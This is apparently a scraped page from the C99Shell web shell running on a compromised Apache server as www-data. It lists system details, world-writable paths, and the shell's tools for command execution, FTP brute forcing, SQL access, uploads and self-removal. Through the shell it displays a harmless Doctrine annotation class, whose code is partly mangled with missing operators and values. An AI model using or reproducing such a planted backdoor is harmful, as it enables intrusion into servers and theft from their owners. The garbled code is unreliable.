!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dokan/script/vendor/doctrine/annotations/lib/Doctrine/Common/Annotations/Annotation/   drwxrwxrwx
Free 13.21 GB of 57.97 GB (22.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Target.php (2.57 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Doctrine\Common\Annotations\Annotation;

use 
InvalidArgumentException;

use function 
array_keys;
use function 
get_class;
use function 
gettype;
use function 
implode;
use function 
is_array;
use function 
is_object;
use function 
is_string;
use function 
sprintf;

/**
 * Annotation that can be used to signal to the parser
 * to check the annotation target during the parsing process.
 *
 * @Annotation
 */
final class Target
{
    public const 
TARGET_CLASS      1;
    public const 
TARGET_METHOD     2;
    public const 
TARGET_PROPERTY   4;
    public const 
TARGET_ANNOTATION 8;
    public const 
TARGET_FUNCTION   16;
    public const 
TARGET_ALL        31;

    
/** @var array<string, int> */
    
private static $map = [
        
'ALL'        => self::TARGET_ALL,
        
'CLASS'      => self::TARGET_CLASS,
        
'METHOD'     => self::TARGET_METHOD,
        
'PROPERTY'   => self::TARGET_PROPERTY,
        
'FUNCTION'   => self::TARGET_FUNCTION,
        
'ANNOTATION' => self::TARGET_ANNOTATION,
    ];

    
/** @phpstan-var list<string> */
    
public $value;

    
/**
     * Targets as bitmask.
     *
     * @var int
     */
    
public $targets;

    
/**
     * Literal target declaration.
     *
     * @var string
     */
    
public $literal;

    
/**
     * @throws InvalidArgumentException
     *
     * @phpstan-param array{value?: string|list<string>} $values
     */
    
public function __construct(array $values)
    {
        if (! isset(
$values['value'])) {
            
$values['value'] = null;
        }

        if (
is_string($values['value'])) {
            
$values['value'] = [$values['value']];
        }

        if (! 
is_array($values['value'])) {
            throw new 
InvalidArgumentException(
                
sprintf(
                    
'@Target expects either a string value, or an array of strings, "%s" given.',
                    
is_object($values['value']) ? get_class($values['value']) : gettype($values['value'])
                )
            );
        }

        
$bitmask 0;
        foreach (
$values['value'] as $literal) {
            if (! isset(
self::$map[$literal])) {
                throw new 
InvalidArgumentException(
                    
sprintf(
                        
'Invalid Target "%s". Available targets: [%s]',
                        
$literal,
                        
implode(', 'array_keys(self::$map))
                    )
                );
            }

            
$bitmask |= self::$map[$literal];
        }

        
$this->targets $bitmask;
        
$this->value   $values['value'];
        
$this->literal implode(', '$this->value);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--